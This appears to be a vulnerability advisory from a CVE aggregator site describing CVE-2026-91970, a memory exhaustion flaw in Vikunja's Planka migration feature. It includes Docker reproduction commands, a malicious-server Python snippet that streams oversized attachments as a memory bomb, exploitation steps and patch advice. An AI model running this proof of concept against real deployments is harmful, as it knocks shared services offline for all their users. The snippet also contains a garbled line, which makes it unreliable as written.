Listen to this Post
CVE-2026-91970 is a critical resource exhaustion vulnerability located in the Planka migration module of Vikunja. The vulnerability arises because the application’s migration pipeline downloads each non-link attachment from a specified Planka server into an unconstrained in-memory buffer without enforcing a global aggregate job budget or total byte ceiling. Although individual per-file and per-response bounds are checked, the conversion stage retains every fetched byte slice in memory simultaneously across the entire project/board/card hierarchy until structure insertion finishes. An authenticated low-privilege user can supply a hostile public endpoint configured to serve multiple compliant chunks that accumulate massively. As a result, the shared backend process exhausts all available system RAM, triggering the kernel OOM killer to terminate the application and causing a full denial of service.
DailyCVE Form:
Platform: Vikunja
Version: < 2.6.0
Vulnerability : Resource Exhaustion
Severity: High
date: August 28, 2026
Prediction: September 18, 2026
What Undercode Say
Bash Commands and Codes
git clone --filter=blob:none --no-checkout https://github.com/go-vikunja/vikunja.git /target-repo git -C /target-repo checkout --detach d66ef3d1a39c6f7289593059a1a34afd1d059260 docker build --build-context target=/target-repo -t poc-vikunja reproduction/ docker run --rm --network net --ip 93.184.216.34 --memory=256m -v /target-repo:/target-repo:ro poc-vikunja /app/verify.sh
Malicious Planka Server snippet simulating memory bomb
if self.path.startswith("/attachments/"):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(ATTACHMENT_BYTES))
self.end_headers()
chunk = b"A" 65536
for _ in range(ATTACHMENT_BYTES // len(chunk)):
self.wfile.write(chunk)
Exploit: (Educational Purposes!)
The exploitation process relies on triggering an asynchronous Planka migration job from an authenticated low-privilege account pointing to an attacker-controlled HTTP server. The malicious server responds to metadata queries with structures containing numerous file attachments. When Vikunja processes these entries via pkg/modules/migration/planka/convert.go, each attachment stream is read completely into memory (bytes.Buffer) and maintained in an active object graph. Because there is no cumulative memory cap or request deadline enforcing an upper bound on total migration payload size, streaming multiple large attachments simultaneously pushes memory usage beyond container limits, forcing an OOM kill (exit code 137) of the core API service.
Protection
Upgrade Vikunja backend instances to version 2.6.0 or later, which implements strict aggregate memory budgets and overall limits across migration attachment processing. Additionally, restrict migration capabilities strictly to trusted administrative users, enforce strict egress filtering rules on worker nodes, and run application containers with appropriate resource quotas and process supervision.
Impact
An authenticated low-privilege attacker can successfully crash the shared Vikunja backend process with a single malicious migration request, leading to complete service unavailability for all users of the platform.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
